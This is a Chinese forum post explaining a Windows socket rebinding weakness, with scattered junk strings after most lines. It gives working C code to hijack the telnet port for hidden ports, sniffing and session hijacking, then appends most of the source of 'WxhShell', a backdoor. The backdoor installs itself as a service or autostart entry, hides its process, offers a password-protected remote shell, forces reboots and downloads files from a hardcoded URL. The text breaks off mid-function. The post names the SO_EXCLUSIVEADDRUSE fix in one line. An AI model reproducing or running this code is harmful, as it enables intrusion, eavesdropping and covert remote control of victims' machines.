社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 12880阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SX,z J`"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a];g  
(}8 ;3pp  
  saddr.sin_family = AF_INET; K)@Buu&,p  
tAi9mm;k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I]$d,N!.  
?d)|vX3Uf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .NC}TFN|  
.?j8{>  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O{R5<"g  
jG :R\D}0  
  这意味着什么?意味着可以进行如下的攻击: FI5C&d5d  
c!T{|'?  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sn#h=,*4`  
Al]9/ML/m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Q7%#3ML  
8hp]+k_y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 YTh4&wm  
eP?|U.on  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &Hxr3[+$  
*p!dd?8  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2ow\d b  
k~dr;j  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 4Pdk?vHK;  
YR.'JF`C  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 S7Fxb+{6D  
&3J#"9 _S  
  #include 'b,D;'v  
  #include ]f~YeOB@  
  #include x"80c(i  
  #include    |i8dI)b  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \&90$>h  
  int main() 'wt|buu-H  
  { [9^e u>)A  
  WORD wVersionRequested; jwox?]f+  
  DWORD ret; , &SJ?XAs  
  WSADATA wsaData; G#v7-&Yl6  
  BOOL val; d`/{0:F  
  SOCKADDR_IN saddr; 9@B+$~:}7  
  SOCKADDR_IN scaddr; 2[hl^f^%,  
  int err; OpE+e4~IF  
  SOCKET s; T5;D0tM/  
  SOCKET sc; m`"s$\fah  
  int caddsize; KA#-X2U/  
  HANDLE mt; Hkt'~ L*   
  DWORD tid;   ]0le=Ee^%  
  wVersionRequested = MAKEWORD( 2, 2 ); +s}28U!  
  err = WSAStartup( wVersionRequested, &wsaData ); E>D@#I>  
  if ( err != 0 ) { ZZ5yu* &  
  printf("error!WSAStartup failed!\n"); 78-:hk  
  return -1; quYZD6IH  
  } s#[Ej&2[=  
  saddr.sin_family = AF_INET; STI3|}G*P  
   ) b8*>k  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )^+$5OR\c  
0oMMJ6"i   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TW0^wSm  
  saddr.sin_port = htons(23); KK?~i[aL  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9Ba<'wk/>"  
  { !%@{S8IP.v  
  printf("error!socket failed!\n"); Gov{jksr  
  return -1; B!v1 gh  
  } \m!."~%  
  val = TRUE; 'z'm:|JW  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 urB.K<5ZA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zZHsS$/  
  { j@2 hI,+  
  printf("error!setsockopt failed!\n"); FzIA>njt  
  return -1; &Te:l-x  
  } Y# #J  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~Zm(p*\T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4`F*] Ft  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V2.K*CpZ7  
#p >PNW-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4E)[<%  
  { W>y_q  
  ret=GetLastError(); 9[*kpMC  
  printf("error!bind failed!\n"); b4wJnmC8  
  return -1; D4wB &~U  
  } 2H#vA  
  listen(s,2); 8] *{ i  
  while(1) GFid riC  
  { ES>3Cf  
  caddsize = sizeof(scaddr); OjI*HC  
  //接受连接请求 C&T3vM  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ElAG~u?  
  if(sc!=INVALID_SOCKET) e|LXH/H  
  { 5a/)|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oCrn  
  if(mt==NULL) +l9avy+P (  
  { "n:9JqPb  
  printf("Thread Creat Failed!\n"); fomkwN  
  break; v\c3=DbO  
  } khfE<<$=  
  } pLU>vQA  
  CloseHandle(mt); F\e'z  
  } L!Ro`6|7;  
  closesocket(s); N?XN$hwdZ  
  WSACleanup(); , ]MX&]  
  return 0; mR^D55k  
  }   k#.co~kS  
  DWORD WINAPI ClientThread(LPVOID lpParam) @&+ 1b=  
  { <3bh-)  
  SOCKET ss = (SOCKET)lpParam; ~"N]%Cu  
  SOCKET sc; 3,?y !  
  unsigned char buf[4096]; saV` -#  
  SOCKADDR_IN saddr; Tla*V#:Ve  
  long num; vB p5&*  
  DWORD val; ?>_.~b ~  
  DWORD ret; -|lnJg4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 zM!*r~*k$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Fi#t88+1  
  saddr.sin_family = AF_INET; Oq("E(z+f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7\xa_nrI  
  saddr.sin_port = htons(23); $I9zJ"*  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :PLsA3[}  
  { oOlI*/OMb  
  printf("error!socket failed!\n"); VtVnht1  
  return -1; &~& i >  
  } -4]6tt'G  
  val = 100; ]k8XLgJ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ZBGI_9wZ  
  { w-2]69$k  
  ret = GetLastError(); JTC&_6  
  return -1; TCEbz8ql  
  } ;@L#0  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ObCwWj^qO  
  { 38#(ruv  
  ret = GetLastError(); mf3G$=[  
  return -1; LP~$7a  
  } Rq 7ksTo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) "hvw2lyp3  
  { ZFzOW  
  printf("error!socket connect failed!\n"); S:d` z'  
  closesocket(sc); /vMpSN|3  
  closesocket(ss); b?$3jOtW  
  return -1; P'K')]D=!  
  } 4q[r KNl  
  while(1) 'Zzm'pC  
  { 1/n3qJyx2}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s0:1G -I  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -[F^~Gv|;  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o+na`ed  
  num = recv(ss,buf,4096,0); Z(Vrmz2.  
  if(num>0) K(p1+ GHC  
  send(sc,buf,num,0); "FU|I1Xz  
  else if(num==0) E.}Zmr#H  
  break; y.nw6.`MR  
  num = recv(sc,buf,4096,0); V)]&UbEL|  
  if(num>0) | @YN\g K;  
  send(ss,buf,num,0); 7XY C.g  
  else if(num==0) [B4?Z-K%  
  break; d_`Ze.^   
  } 0jXIx2y  
  closesocket(ss); Q6BW ax|  
  closesocket(sc); -K0tK~%q  
  return 0 ; ?`vb\K<5H;  
  } wFvilF V  
+k>v^sz  
 84{<]y  
========================================================== N 8OPeY  
UY+~xzm  
下边附上一个代码,,WXhSHELL *w _j;  
#0R;^#F/  
========================================================== xv2;h4{<  
;V;4#  
#include "stdafx.h" ?YS`?Rr  
J kA~Ol  
#include <stdio.h> +bSv-i-  
#include <string.h> n33SWE(  
#include <windows.h> {ys_uS{c*  
#include <winsock2.h> kO.rgW82  
#include <winsvc.h> ._yr7uY[M  
#include <urlmon.h> 0Zq" -  
:K&hGZ+5  
#pragma comment (lib, "Ws2_32.lib") P.wINo  
#pragma comment (lib, "urlmon.lib") e\h:==f  
ka'MF;!rc  
#define MAX_USER   100 // 最大客户端连接数 52"/Zr}j  
#define BUF_SOCK   200 // sock buffer Frml'Vfq7  
#define KEY_BUFF   255 // 输入 buffer N*xgVj*  
NlDM/  
#define REBOOT     0   // 重启 \)v.dQ!  
#define SHUTDOWN   1   // 关机 8(A:XQN"h  
'Go'87+`  
#define DEF_PORT   5000 // 监听端口 ,&k 5Qq  
wOsr#t7  
#define REG_LEN     16   // 注册表键长度 [9L(4F20  
#define SVC_LEN     80   // NT服务名长度 ?>&8,p17  
@|^C h+%@  
// 从dll定义API oqE -q\!H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (=X16}n:>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lA1R$  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z+}SM]m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +vuW 9  
yT>T Vq/e  
// wxhshell配置信息 ;?cUF78#  
struct WSCFG { Txxc-$z  
  int ws_port;         // 监听端口 :G-1VtE n  
  char ws_passstr[REG_LEN]; // 口令 & dS+!<3  
  int ws_autoins;       // 安装标记, 1=yes 0=no csV1ki/A  
  char ws_regname[REG_LEN]; // 注册表键名 k >MgrtJI  
  char ws_svcname[REG_LEN]; // 服务名 H!A^ MI   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V>%%2"&C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "Vh(%N`6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LU]~d< i99  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hImCy9i}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "~;jFB8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r[lHYO  
GwvxX&P  
}; qN)cB?+  
4$J/e?i  
// default Wxhshell configuration QSLDA`  
struct WSCFG wscfg={DEF_PORT, w\M_3}  
    "xuhuanlingzhe", q&M;rIo?  
    1, Vg3&:g5 /  
    "Wxhshell", (tz! "K  
    "Wxhshell", x4. #_o&  
            "WxhShell Service", $~-j-0 \m  
    "Wrsky Windows CmdShell Service", yTEuf@  
    "Please Input Your Password: ", 7KEGTKfW  
  1, I2 Kb.`'!  
  "http://www.wrsky.com/wxhshell.exe", nMnc&8r  
  "Wxhshell.exe" 9xz`V1mIL  
    }; D^u{zZy@e  
FlZ]R  
// 消息定义模块 2.[qcs3zl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; spI{d!c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m&\Gz*)3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E,X,RM~ +D  
char *msg_ws_ext="\n\rExit."; p-}:7CXP  
char *msg_ws_end="\n\rQuit."; 4S=lO?\"A  
char *msg_ws_boot="\n\rReboot..."; iaC$K@a{  
char *msg_ws_poff="\n\rShutdown..."; }a`LOBne  
char *msg_ws_down="\n\rSave to "; '-x%?Ll  
J0oR]eT}  
char *msg_ws_err="\n\rErr!";  ^ "f  
char *msg_ws_ok="\n\rOK!"; f]lDJ?+ M  
i6-K!  
char ExeFile[MAX_PATH]; #=tWCxf=  
int nUser = 0; Z\Q7#dl  
HANDLE handles[MAX_USER]; c1/x,1LnMf  
int OsIsNt; uqnZ  
0eLK9u3<  
SERVICE_STATUS       serviceStatus; ^\I$tnY`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?{2-,M0  
ALv\"uUNu+  
// 函数声明 -1o1k-8d  
int Install(void); Mc8^{br61  
int Uninstall(void); 83h3C EQ  
int DownloadFile(char *sURL, SOCKET wsh); v+OVZDf  
int Boot(int flag); jQDxbkIuzE  
void HideProc(void); 9D<HJ(  
int GetOsVer(void); gXQ)\MY  
int Wxhshell(SOCKET wsl); . FruI#99  
void TalkWithClient(void *cs); o]Ki+ U  
int CmdShell(SOCKET sock); V OX>Sl  
int StartFromService(void); P TP2QAt  
int StartWxhshell(LPSTR lpCmdLine); D%A-& =  
c[I,Sveq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e'6?iLpy  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ..t=Y#  
8ah]D  
// 数据结构和表定义 r:IU +3  
SERVICE_TABLE_ENTRY DispatchTable[] = OTm`i>rB  
{ r3kI'I|bq  
{wscfg.ws_svcname, NTServiceMain}, RoTT%c P_  
{NULL, NULL} )t4C*+9<U  
}; phdN9<Z  
c1^3lgPv  
// 自我安装 87Kx7CKF"  
int Install(void) G$j8I~E@  
{ ;p9D2&  
  char svExeFile[MAX_PATH]; b$`O|S  
  HKEY key; 6D0,ME#  
  strcpy(svExeFile,ExeFile); Ir'f((8:  
v<wT`hiKW  
// 如果是win9x系统,修改注册表设为自启动 *pMA V [^  
if(!OsIsNt) { ,b4&$W].  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9E^p i LA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )N<!3yOz  
  RegCloseKey(key); g6V*wjC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `9-Zg??8r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *QG;KJ%  
  RegCloseKey(key); [7V]=] p  
  return 0; 5*$Zfuf  
    } KfNXX>'  
  } ks D1NB;9  
} ,whNh  
else { B}X#oA  
OT i3T1&  
// 如果是NT以上系统,安装为系统服务 3:Wr)>l}#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R{vPn8X 6g  
if (schSCManager!=0) rRYf.~UH@P  
{ K dm5O@tq  
  SC_HANDLE schService = CreateService h.0K PF]O  
  ( Oe`t!&v  
  schSCManager, Z&,}Fgl!F  
  wscfg.ws_svcname, OB22P%  
  wscfg.ws_svcdisp, 'QF>e  
  SERVICE_ALL_ACCESS, ?C35   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *\",  qMp  
  SERVICE_AUTO_START, 5eA]7$ic  
  SERVICE_ERROR_NORMAL, EB<q.  
  svExeFile, |U $-d^ZJ  
  NULL, #1@~w}Dh  
  NULL, U.OX*-Cd  
  NULL, J B@VP{  
  NULL, )AXH^&  
  NULL VhgEG(Ud  
  ); 6a?p?I K^  
  if (schService!=0) C&kl*nO  
  { `g N68:B  
  CloseServiceHandle(schService); {LHe 6#  
  CloseServiceHandle(schSCManager); T0%TeFY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !U:s.^{  
  strcat(svExeFile,wscfg.ws_svcname); XWpnZFjE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;bX ~4O&v+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TZNgtR{q  
  RegCloseKey(key); }c ;um  
  return 0; f*{;\n (.t  
    } CL :M>(  
  } 5KE%@,k k  
  CloseServiceHandle(schSCManager); _x 6E_i-(  
} gecT*^  
} wS*CcIwj  
rq["O/2  
return 1; `sy &dyM  
} 3}{5 X'  
zB" `i  
// 自我卸载 '. Hp*9R  
int Uninstall(void) %W',cu  
{ Sx9:$"3.X  
  HKEY key; ^@L l(?  
IPi<sE  
if(!OsIsNt) { }lUpC}aq_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  Cmx2/N  
  RegDeleteValue(key,wscfg.ws_regname); -u9yR"n\}  
  RegCloseKey(key); Tv,.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0$Y 9>)O  
  RegDeleteValue(key,wscfg.ws_regname); (L:Fb  
  RegCloseKey(key); afiK!0col2  
  return 0; vLFaZ^(  
  } OMI!=Upz  
} y{Y+2}Dv/  
} [Pwo,L,)  
else { |z.GSI_!)  
bL],KW;Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s/vOxGc  
if (schSCManager!=0) X#I`(iHY  
{ m2q;^o:J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'h6} cw+K  
  if (schService!=0) fMEv85@JL  
  { aU<D$I  
  if(DeleteService(schService)!=0) { roj04|  
  CloseServiceHandle(schService); gq_7_Y/  
  CloseServiceHandle(schSCManager); A='+tJa  
  return 0; Z F yX@#B9  
  } PT@e),{~o9  
  CloseServiceHandle(schService); #C;zS9(]B  
  } n vpPmc  
  CloseServiceHandle(schSCManager); l9NOzAH3  
} _O)2  
} tZu*Asx7  
j)tC r Py  
return 1; 5*wApu{2A  
} 4 ^~zN"6]  
oz0n$`O$/  
// 从指定url下载文件 x"l lX  
int DownloadFile(char *sURL, SOCKET wsh) R(? <97  
{ J={OOj  
  HRESULT hr; t>6x)2,TC  
char seps[]= "/"; ;Ma/b=Y  
char *token; HEB/\  
char *file; ;;w6b:}-c  
char myURL[MAX_PATH]; &.  =}g]  
char myFILE[MAX_PATH]; }]g95xT  
]Z$TzT&@%  
strcpy(myURL,sURL); ICl_ eb  
  token=strtok(myURL,seps); o(d_uJOB  
  while(token!=NULL) zJuRth)(,  
  { 4)odFq:  
    file=token; 9 yW ~79n  
  token=strtok(NULL,seps); p17|ld`  
  } eC^0I78x  
v(Bp1~PPZM  
GetCurrentDirectory(MAX_PATH,myFILE); H#|Z8^ *Ds  
strcat(myFILE, "\\"); A eGG  
strcat(myFILE, file); Cb )=n6  
  send(wsh,myFILE,strlen(myFILE),0); hViprhC  
send(wsh,"...",3,0); =|gJb|?w  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3Zaq#uA  
  if(hr==S_OK) x7KcO0F{  
return 0; E)80S.V  
else qb-2QPEB  
return 1; RQo$iISwy  
$d2kHT  
} yxG:\y b  
lRv#1'Y  
// 系统电源模块 QxL@'n#5   
int Boot(int flag) J)$&z*!  
{ S)\JWXi~:J  
  HANDLE hToken; A{4G@k+#d  
  TOKEN_PRIVILEGES tkp; S_|9j{w)  
2;%#C!TG;  
  if(OsIsNt) { zM_DE  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x5fgF;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |.Nr.4Yp  
    tkp.PrivilegeCount = 1; RP~vB#}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1#> &p%P!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J@ktj(  
if(flag==REBOOT) { 6^] `-4*W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @Xq&t}*8  
  return 0; "M9TB. O  
} Q\o$**+{  
else { pYLY;qkG"  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Mt[Bq6}ZD  
  return 0; P1 7>6)a  
} ;Na8 _}  
  } nW $A^  
  else { %z-dM` i  
if(flag==REBOOT) { f[JI/H>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d s|8lz,  
  return 0; ?jNF6z*M6  
} i!SW?\  
else { 4Q$j]U&b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?JXBWB4  
  return 0; VD9 q5tt7  
} j*;*Ka w  
} k_*XJ<S!Y  
rPiiC/T.`  
return 1; r~Y>+ln.  
} *D=K{bUe'  
%PQldPL8  
// win9x进程隐藏模块 BGB,Gb  
void HideProc(void) FasI'Ulk  
{ o5N]((9  
O%YjWb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =w',-+@  
  if ( hKernel != NULL ) ELN|;^-/|Q  
  { \3%W_vU_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n\Z^K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U/.w;DI   
    FreeLibrary(hKernel); YH ETI~'j.  
  } _, \y2&KT  
-;+m%"k5  
return; x9xzm5  
} Jq# [uX  
}7iUagN  
// 获取操作系统版本 R&NpdW N  
int GetOsVer(void) @ \!KF*v  
{ NlA*\vco  
  OSVERSIONINFO winfo; !?BW_vY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rU; g0'4e  
  GetVersionEx(&winfo); sEoZ1E  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q8 -3RgAw  
  return 1; utq.r_  
  else i%xI9BO9  
  return 0; x HY+q ;  
} D35m5+=I  
:_MP'0QP  
// 客户端句柄模块 BD hLz  
int Wxhshell(SOCKET wsl) Bp &6x;MJf  
{ (})]H:W7  
  SOCKET wsh; JR/W9i  
  struct sockaddr_in client; kVWGDI$~  
  DWORD myID; ; Zh9^0  
zs4>/9O  
  while(nUser<MAX_USER) <"N:rn{Qq  
{ 1W*V2`0>  
  int nSize=sizeof(client); D`V6&_. p  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =nLO?qoe  
  if(wsh==INVALID_SOCKET) return 1; :]EP@.(  
&8Zeq3~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I9;xzES  
if(handles[nUser]==0) Pl_^nFm0  
  closesocket(wsh); !syU]Yk  
else pV8[l)J  
  nUser++; _jW>dU^B  
  } |4=ihB9+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j]AekI4I  
WmNA5;<Q  
  return 0; 3b e6p  
} 2v4W6R  
X) 8e4~(?  
// 关闭 socket #kj~G]QA  
void CloseIt(SOCKET wsh) z23#G>I&  
{  %W(^6p!  
closesocket(wsh); tp@*=*^I  
nUser--; KVg[#~3  
ExitThread(0); WX LK89ev\  
} TopHE  
Zgy7!AF!  
// 客户端请求句柄 }4Zkf<#7$  
void TalkWithClient(void *cs) -U7,k\g  
{ <Kg2$lu(_`  
,'u*ZB;  
  SOCKET wsh=(SOCKET)cs; w#sq'vo4%  
  char pwd[SVC_LEN]; f$vwuW  
  char cmd[KEY_BUFF]; z4bN)W )p  
char chr[1]; },&h[\N{6  
int i,j; nX)f'[ 7  
Q<1L`_.>  
  while (nUser < MAX_USER) { Vu%n&uF  
Yc|uD-y  
if(wscfg.ws_passstr) { S#mK Pi+3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g>_OuQ|c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5?w.rcN[j  
  //ZeroMemory(pwd,KEY_BUFF); S!`:E  
      i=0; 07FT)QTE  
  while(i<SVC_LEN) { *Z; r B  
HAd%k$Xu{  
  // 设置超时 `UQEXoB)  
  fd_set FdRead; $T?]+2,6;  
  struct timeval TimeOut; cv]BV>=E  
  FD_ZERO(&FdRead); V:OiW"/  
  FD_SET(wsh,&FdRead); Jr]gEBX  
  TimeOut.tv_sec=8; Q,~x#  
  TimeOut.tv_usec=0; >nK%^T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TtZ}"MPZ  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $R?@L  
Ik Qe~;Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O5M2`6|As  
  pwd=chr[0]; D#ZPq,f  
  if(chr[0]==0xd || chr[0]==0xa) { J+|/-{g  
  pwd=0; Y.NE^Vn0  
  break; 6A?8tm/0  
  } $it@>L8  
  i++; !9D1 Fa  
    } p31oL{D  
WFem#hq   
  // 如果是非法用户,关闭 socket 7E\g &R.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T)~!mifX  
} -=a[J;'q  
\E77SO,$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 5B?i(2&#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Im+ 7<3Z  
T pD;  
while(1) { *{|$FQnR>(  
oqYt/4^Q  
  ZeroMemory(cmd,KEY_BUFF); `7\H41%\pp  
A? r^V2+j  
      // 自动支持客户端 telnet标准   X$^JAZ09  
  j=0; b]i>Bv  
  while(j<KEY_BUFF) { vY_eDJ~'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tF%QH[  
  cmd[j]=chr[0]; uXpv*i {R  
  if(chr[0]==0xa || chr[0]==0xd) { ' %&z.{  
  cmd[j]=0; K{2h9 ]VF  
  break; 0m A(:"  
  } , D"]y~~I5  
  j++; (:n|v%  
    } (v^Z BM_  
"mA1H]r3  
  // 下载文件 R$d7\nBG  
  if(strstr(cmd,"http://")) { p/&HUQQk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8k H<$9  
  if(DownloadFile(cmd,wsh)) 3+V#[JBJv  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9@'4P  
  else hl]S'yr  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !}t-j3bCs  
  } V%51k{  
  else { r]T0+oQ>  
T,OS0;7O  
    switch(cmd[0]) { ?Oc -aa  
  kP^*h O!%  
  // 帮助 CmHyAw(  
  case '?': { `{o$F ::(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); RG}}Oh="v  
    break; 3AeH7g4<  
  } [0!{_E)<  
  // 安装 :c:V%0Yji  
  case 'i': { d.AC%&W  
    if(Install()) esI'"hVJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ww`&i  
    else (f>M &..  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n[CoS  
    break; M*`hDdS  
    } y/tSGkMv  
  // 卸载 7n&yv9"  
  case 'r': { p+Lv=e)0u  
    if(Uninstall()) 2*'ciH37  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]0-<>  
    else YlKFw|=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mNDuwDd$S  
    break; hB>^'6h+  
    } T 1zi0fa'  
  // 显示 wxhshell 所在路径 ="(>>C1-  
  case 'p': { b-%l-u  
    char svExeFile[MAX_PATH]; f^e&hyC   
    strcpy(svExeFile,"\n\r"); 8,*3zVk-  
      strcat(svExeFile,ExeFile); Q0>q:aj\  
        send(wsh,svExeFile,strlen(svExeFile),0); 'RLOV  
    break; N|Habua<Xw  
    } DFy1 bg  
  // 重启 !_x*m@/  
  case 'b': { n&d/?aJ7a\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !*vBW/  
    if(Boot(REBOOT)) vD26;S.y[a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"<|Z]w  
    else { {[^#h|U  
    closesocket(wsh); Ep ">v>"  
    ExitThread(0); bV6V02RF  
